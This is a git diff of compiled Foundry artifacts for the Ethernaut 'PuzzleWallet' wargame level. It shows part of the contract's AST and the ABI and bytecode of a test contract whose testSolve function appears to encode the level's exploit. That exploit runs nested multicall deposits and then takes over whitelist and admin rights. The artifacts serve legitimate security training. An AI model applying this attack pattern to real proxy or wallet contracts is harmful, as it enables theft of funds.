0"},"value":"0"},"nodeType":"VariableDeclarationStatement","src":"2413:13:101"},"isSimpleCounterLoop":true,"loopExpression":{"expression":{"id":54547,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"UnaryOperation","operator":"++","prefix":false,"src":"2445:3:101","subExpression":{"id":54546,"name":"i","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":54539,"src":"2445:1:101","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":54548,"nodeType":"ExpressionStatement","src":"2445:3:101"},"nodeType":"ForStatement","src":"2408:573:101"}]},"functionSelector":"ac9650d8","implemented":true,"kind":"function","modifiers":[{"id":54532,"kind":"modifierInvocation","modifierName":{"id":54531,"name":"onlyWhitelisted","nameLocations":["2346:15:101"],"nodeType":"IdentifierPath","referencedDeclaration":54415,"src":"2346:15:101"},"nodeType":"ModifierInvocation","src":"2346:15:101"}],"name":"multicall","nameLocation":"2296:9:101","parameters":{"id":54530,"nodeType":"ParameterList","parameters":[{"constant":false,"id":54529,"mutability":"mutable","name":"data","nameLocation":"2323:4:101","nodeType":"VariableDeclaration","scope":54596,"src":"2306:21:101","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_calldata_ptr_$dyn_calldata_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":54527,"name":"bytes","nodeType":"ElementaryTypeName","src":"2306:5:101","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":54528,"nodeType":"ArrayTypeName","src":"2306:7:101","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"}],"src":"2305:23:101"},"returnParameters":{"id":54533,"nodeType":"ParameterList","parameters":[],"src":"2362:0:101"},"scope":54597,"stateMutability":"payable","virtual":false,"visibility":"external"}],"abstract":false,"baseContracts":[],"canonicalName":"PuzzleWallet","contractDependencies":[],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[54597],"name":"PuzzleWallet","nameLocation":"979:12:101","scope":54598,"usedErrors":[],"usedEvents":[]}],"license":"MIT"},"id":101} \ No newline at end of file diff --git a/contracts/out/PuzzleWallet.t.sol/TestPuzzleWallet.json b/contracts/out/PuzzleWallet.t.sol/TestPuzzleWallet.json new file mode 100644 index 000000000..0180b5d88 --- /dev/null +++ b/contracts/out/PuzzleWallet.t.sol/TestPuzzleWallet.json @@ -0,0 +1 @@ +{"abi":[{"type":"function","name":"IS_TEST","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"createLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"level","type":"address","internalType":"contract Level"},{"name":"value","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"instance","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"createUsers","inputs":[{"name":"userNum","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"address[]","internalType":"address payable[]"}],"stateMutability":"nonpayable"},{"type":"function","name":"excludeArtifacts","inputs":[],"outputs":[{"name":"excludedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"excludeContracts","inputs":[],"outputs":[{"name":"excludedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"excludeSenders","inputs":[],"outputs":[{"name":"excludedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"failed","inputs":[],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"view"},{"type":"function","name":"getEthernautWithStatsProxy","inputs":[{"name":"owner","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"address","internalType":"contract Ethernaut"}],"stateMutability":"nonpayable"},{"type":"function","name":"getNextUserAddress","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address payable"}],"stateMutability":"nonpayable"},{"type":"function","name":"getOldFactory","inputs":[{"name":"contractName","type":"string","internalType":"string"}],"outputs":[{"name":"addr","type":"address","internalType":"address"}],"stateMutability":"nonpayable"},{"type":"function","name":"mineBlocks","inputs":[{"name":"numBlocks","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setUp","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"submitLevelInstance","inputs":[{"name":"ethernaut","type":"address","internalType":"contract Ethernaut"},{"name":"instance","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"bool","internalType":"bool"}],"stateMutability":"nonpayable"},{"type":"function","name":"targetArtifactSelectors","inputs":[],"outputs":[{"name":"targetedArtifactSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetArtifacts","inputs":[],"outputs":[{"name":"targetedArtifacts_","type":"string[]","internalType":"string[]"}],"stateMutability":"view"},{"type":"function","name":"targetContracts","inputs":[],"outputs":[{"name":"targetedContracts_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"targetInterfaces","inputs":[],"outputs":[{"name":"targetedInterfaces_","type":"tuple[]","internalType":"struct StdInvariant.FuzzInterface[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"artifacts","type":"string[]","internalType":"string[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSelectors","inputs":[],"outputs":[{"name":"targetedSelectors_","type":"tuple[]","internalType":"struct StdInvariant.FuzzSelector[]","components":[{"name":"addr","type":"address","internalType":"address"},{"name":"selectors","type":"bytes4[]","internalType":"bytes4[]"}]}],"stateMutability":"view"},{"type":"function","name":"targetSenders","inputs":[],"outputs":[{"name":"targetedSenders_","type":"address[]","internalType":"address[]"}],"stateMutability":"view"},{"type":"function","name":"testInit","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"testSolve","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"log","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_address","inputs":[{"name":"","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_array","inputs":[{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_bytes","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_bytes32","inputs":[{"name":"","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_int","inputs":[{"name":"","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_address","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address","indexed":false,"internalType":"address"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256[]","indexed":false,"internalType":"uint256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256[]","indexed":false,"internalType":"int256[]"}],"anonymous":false},{"type":"event","name":"log_named_array","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"address[]","indexed":false,"internalType":"address[]"}],"anonymous":false},{"type":"event","name":"log_named_bytes","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false},{"type":"event","name":"log_named_bytes32","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"bytes32","indexed":false,"internalType":"bytes32"}],"anonymous":false},{"type":"event","name":"log_named_decimal_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_decimal_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"},{"name":"decimals","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_named_int","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"int256","indexed":false,"internalType":"int256"}],"anonymous":false},{"type":"event","name":"log_named_string","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_named_uint","inputs":[{"name":"key","type":"string","indexed":false,"internalType":"string"},{"name":"val","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"log_string","inputs":[{"name":"","type":"string","indexed":false,"internalType":"string"}],"anonymous":false},{"type":"event","name":"log_uint","inputs":[{"name":"","type":"uint256","indexed":false,"internalType":"uint256"}],"anonymous":false},{"type":"event","name":"logs","inputs":[{"name":"","type":"bytes","indexed":false,"internalType":"bytes"}],"anonymous":false}],"bytecode":{"object":"0x600c8054600160ff1991821681178355601e80549092161790556b75736572206164647265737360a01b60a05260805260ac6040527ffadd6953a0436e85528ded789af2e2b7e57c1cd7c68c5c3796d8ea67e0018db7601f55348015610063575f80fd5b50617797806100715f395ff3fe608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001e4b565b62000806565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009d0565b604051620001c7919062001e8e565b620001b3620001fa36600462001f7a565b62000a32565b6200020a62000bfd565b604051620001c791906200204d565b620001da62000d45565b620001da62000da5565b6200023762000e05565b604051620001c7919062002110565b620001da62000257366004620021dd565b62000eea565b6200019a6200107a565b6200027162001508565b604051620001c79190620021f5565b620001b3620002913660046200225b565b620015dd565b62000237620016fc565b620002b8620002b236600462002279565b620017e1565b6040519015158152602001620001c7565b6200027162001971565b6200019a62001a46565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b862001adf565b620001da62001bb3565b6200019a6200032f366004620021dd565b62001c13565b601e54620002b89060ff1681565b5f62000350600262000eea565b9050805f81518110620003675762000367620022b5565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b5050505080600181518110620004495762000449620022b5565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b03169050620015dd565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f90620005d89062001dfb565b604051809103905ff080158015620005f2573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000653575f80fd5b505af115801562000666573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006c5575f80fd5b505af1158015620006d8573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000733575f80fd5b505af115801562000746573d5f803e3d5ffd5b50506020546200076b92506001600160a01b031690508266038d7ea4c6800062000806565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007eb575f80fd5b505af1158015620007fe573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000862575f80fd5b505af115801562000875573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008d5575f80fd5b505af1158015620008e8573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af11580156200094d573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000976919081019062002356565b90508060018251620009899190620024e6565b815181106200099c576200099c620022b5565b60200260200101515f0151600281518110620009bc57620009bc620022b5565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a09575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a92573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000abb9190810190620024fc565b90505f81848560405160200162000ad49291906200254e565b60408051601f198184030181529082905262000af49291602001620025fc565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b589085906004016200262e565b5f60405180830381865afa15801562000b73573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000b9c9190810190620024fc565b90505f62000be96040518060400160405280601081526020017f2e62797465636f64652e6f626a656374000000000000000000000000000000008152508362001c8790919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d24578382905f5260205f2001805462000c929062002642565b80601f016020809104026020016040519081016040528092919081815260200182805462000cc09062002642565b801562000d0f5780601f1062000ce55761010080835404028352916020019162000d0f565b820191905f5260205f20905b81548152906001019060200180831162000cf157829003601f168201915b50505050508152602001906001019062000c72565b50505050815250508152602001906001019062000c20565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000ed157602002820191905f5260205f20905f905b82829054906101000a900460e01b6001600160e01b0319168152602001906004019060208260030104928301926001038202915080841162000e925790505b5050505050815250508152602001906001019062000e28565b60605f8267ffffffffffffffff81111562000f095762000f0962001edc565b60405190808252806020026020018201604052801562000f33578160200160208202803683370190505b5090505f5b8381101562001073575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f80573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fa691906200267c565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001024575f80fd5b505af115801562001037573d5f803e3d5ffd5b5050505080838381518110620010515762001051620022b5565b6001600160a01b03909216602092830291909101909101525060010162000f38565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010d1575f80fd5b505af1158015620010e4573d5f803e3d5ffd5b50506021546023546040517fa63767460000000000000000000000000000000000000000000000000000000081526001600160a01b0391821660048201529116925063a637674691506024015f604051808303815f87803b15801562001148575f80fd5b505af11580156200115b573d5f803e3d5ffd5b50506021546023546040517fe43252d70000000000000000000000000000000000000000000000000000000081526001600160a01b0391821660048201529116925063e43252d791506024015f604051808303815f87803b158015620011bf575f80fd5b505af1158015620011d2573d5f803e3d5ffd5b505f925060019150620011e29050565b6040519080825280602002602001820160405280156200121757816020015b6060815260200190600190039081620012015790505b506040805160048152602481019091526020810180516001600160e01b0316630d0e30db60e41b17905281519192509082905f906200125a576200125a620022b5565b6020908102919091010152604080516002808252606082019092525f91816020015b60608152602001906001900390816200127c579050506040805160048152602481019091526020810180516001600160e01b0316630d0e30db60e41b17905281519192509082905f90620012d457620012d4620022b5565b602002602001018190525063ac9650d860e01b82604051602401620012fa91906200269a565b604051602081830303815290604052906001600160e01b0319166020820180516001600160e01b03838183161783525050505081600181518110620013435762001343620022b5565b60209081029190910101526021546040517fac9650d80000000000000000000000000000000000000000000000000000000081526001600160a01b039091169063ac9650d89066038d7ea4c6800090620013a29085906004016200269a565b5f604051808303818588803b158015620013ba575f80fd5b505af1158015620013cd573d5f803e3d5ffd5b50506021546023546040517fb61d27f60000000000000000000000000000000000000000000000000000000081526001600160a01b03918216600482015266071afd498d00006024820152606060448201525f60648201529116935063b61d27f6925060840190505f604051808303815f87803b1580156200144d575f80fd5b505af115801562001460573d5f803e3d5ffd5b50506021546023546040517f9d51d9b70000000000000000000000000000000000000000000000000000000081526001600160a01b03918216600482015291169250639d51d9b791506024015f604051808303815f87803b158015620014c4575f80fd5b505af1158015620014d7573d5f803e3d5ffd5b5050602054602154620015049350620014fe92506001600160a01b039182169116620017e1565b62001d29565b5050565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f200180546200154b9062002642565b80601f0160208091040260200160405190810160405280929190818152602001828054620015799062002642565b8015620015c85780601f106200159e57610100808354040283529160200191620015c8565b820191905f5260205f20905b815481529060010190602001808311620015aa57829003601f168201915b5050505050815260200190600101906200152b565b5f80604051620015ed9062001e09565b604051809103905ff08015801562001607573d5f803e3d5ffd5b5090505f604051620016199062001e17565b604051809103905ff08015801562001633573d5f803e3d5ffd5b508483604051620016449062001e25565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff0801580156200167e573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b158015620016dd575f80fd5b505af1158015620016f0573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c575f8481526020908190206040805180820182526002860290920180546001600160a01b03168352600181018054835181870281018701909452808452939491938583019392830182828015620017c857602002820191905f5260205f20905f905b82829054906101000a900460e01b6001600160e01b03191681526020019060040190602082600301049283019260010382029150808411620017895790505b505050505081525050815260200190600101906200171f565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b1580156200183d575f80fd5b505af115801562001850573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b158015620018ae575f80fd5b505af1158015620018c1573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562001925573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200194e919081019062002356565b9050600181511115620019665760019150506200196b565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d3c578382905f5260205f20018054620019b49062002642565b80601f0160208091040260200160405190810160405280929190818152602001828054620019e29062002642565b801562001a315780601f1062001a075761010080835404028352916020019162001a31565b820191905f5260205f20905b81548152906001019060200180831162001a1357829003601f168201915b50505050508152602001906001019062001994565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801562001a9d575f80fd5b505af115801562001ab0573d5f803e3d5ffd5b505060205460215462001add935062001ad792506001600160a01b039182169116620017e1565b62001da8565b565b6008545f9060ff161562001af7575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa15801562001b86573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062001bac9190620026f3565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2857602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a09575050505050905090565b5f62001c2082436200270b565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007eb575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be89062001cde908690869060040162002721565b5f60405180830381865afa15801562001cf9573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262001d22919081019062002752565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001d8e575f80fd5b505afa15801562001da1573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001d77565b6118d0806200278983390190565b610ae5806200405983390190565b611e7a8062004b3e83390190565b610daa80620069b883390190565b6001600160a01b038116811462001e48575f80fd5b50565b5f805f6060848603121562001e5e575f80fd5b833562001e6b8162001e33565b9250602084013562001e7d8162001e33565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001ed05783516001600160a01b03168352928401929184019160010162001ea9565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001f165762001f1662001edc565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001f485762001f4862001edc565b604052919050565b5f67ffffffffffffffff82111562001f6c5762001f6c62001edc565b50601f01601f191660200190565b5f6020828403121562001f8b575f80fd5b813567ffffffffffffffff81111562001fa2575f80fd5b8201601f8101841362001fb3575f80fd5b803562001fca62001fc48262001f50565b62001f1c565b81815285602083850101111562001fdf575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b838110156200201857818101518382015260200162001ffe565b50505f910152565b5f81518084526200203981602086016020860162001ffc565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b848110156200210157603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b81811015620020ea57605f19888503018352620020d784865162002020565b948d01949350918c0191600101620020b8565b505050968901969350509087019060010162002072565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b83811015620021cf57888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b80831015620021b95783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062002175565b5096890196945050509086019060010162002137565b509098975050505050505050565b5f60208284031215620021ee575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b828110156200224e57603f198886030184526200223b85835162002020565b945092850192908501906001016200221c565b5092979650505050505050565b5f602082840312156200226c575f80fd5b813562001d228162001e33565b5f80604083850312156200228b575f80fd5b8235620022988162001e33565b91506020830135620022aa8162001e33565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff821115620022e557620022e562001edc565b5060051b60200190565b5f620022ff62001fc48462001f50565b905082815283838301111562002313575f80fd5b62001d2283602083018462001ffc565b5f82601f83011262002333575f80fd5b62001d2283835160208501620022ef565b8051620023518162001e33565b919050565b5f602080838503121562002368575f80fd5b825167ffffffffffffffff8082111562002380575f80fd5b818501915085601f83011262002394575f80fd5b8151620023a562001fc482620022c9565b81815260059190911b83018401908481019088831115620023c4575f80fd5b8585015b83811015620024c557805185811115620023e0575f80fd5b86016060818c03601f19011215620023f6575f80fd5b6200240062001ef0565b888201518781111562002411575f80fd5b8201603f81018d1362002422575f80fd5b898101516200243562001fc482620022c9565b81815260059190911b8201604001908b8101908f83111562002455575f80fd5b6040840193505b82841015620024775783518252928c0192908c01906200245c565b84525050506040820151878111156200248e575f80fd5b6200249e8d8b8386010162002323565b8a83015250620024b16060830162002344565b6040820152845250918601918601620023c8565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156200196b576200196b620024d2565b5f602082840312156200250d575f80fd5b815167ffffffffffffffff81111562002524575f80fd5b8201601f8101841362002535575f80fd5b6200254684825160208401620022ef565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200258781600585016020880162001ffc565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620025c681600a84016020880162001ffc565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200260f81846020880162001ffc565b8351908301906200262581836020880162001ffc565b01949350505050565b602081525f62001d22602083018462002020565b600181811c908216806200265757607f821691505b6020821081036200267657634e487b7160e01b5f52602260045260245ffd5b50919050565b5f602082840312156200268d575f80fd5b815162001d228162001e33565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b828110156200224e57603f19888603018452620026e085835162002020565b94509285019290850190600101620026c1565b5f6020828403121562002704575f80fd5b5051919050565b808201808211156200196b576200196b620024d2565b604081525f62002735604083018562002020565b828103602084015262002749818562002020565b95945050505050565b5f6020828403121562002763575f80fd5b815167ffffffffffffffff8111156200277a575f80fd5b62002546848285016200232356fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6118568061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610540565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610562565b610341565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610540565b6103c2565b610114610452565b61011d5f6104ab565b565b5f3466038d7ea4c68000146101a15760405162461bcd60e51b815260206004820152602660248201527f4d7573742073656e6420302e3030312045544820746f2063726561746520696e60448201527f7374616e6365000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b5f6040516101ae90610512565b604051809103905ff0801580156101c7573d5f803e3d5ffd5b506040805168056bc75e2d6310000060248083019190915282518083039091018152604490910182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167fb7b0422d000000000000000000000000000000000000000000000000000000001790529051919250905f9030908490849061024f9061051f565b61025b93929190610599565b604051809103905ff080158015610274573d5f803e3d5ffd5b506040517fe43252d700000000000000000000000000000000000000000000000000000000815230600482015290915081906001600160a01b0382169063e43252d7906024015f604051808303815f87803b1580156102d1575f80fd5b505af11580156102e3573d5f803e3d5ffd5b50505050806001600160a01b031663d0e30db0346040518263ffffffff1660e01b81526004015f604051808303818588803b158015610320575f80fd5b505af1158015610332573d5f803e3d5ffd5b50949998505050505050505050565b5f80839050826001600160a01b0316816001600160a01b031663f851a4406040518163ffffffff1660e01b8152600401602060405180830381865afa15801561038c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103b09190610602565b6001600160a01b031614949350505050565b6103ca610452565b6001600160a01b0381166104465760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f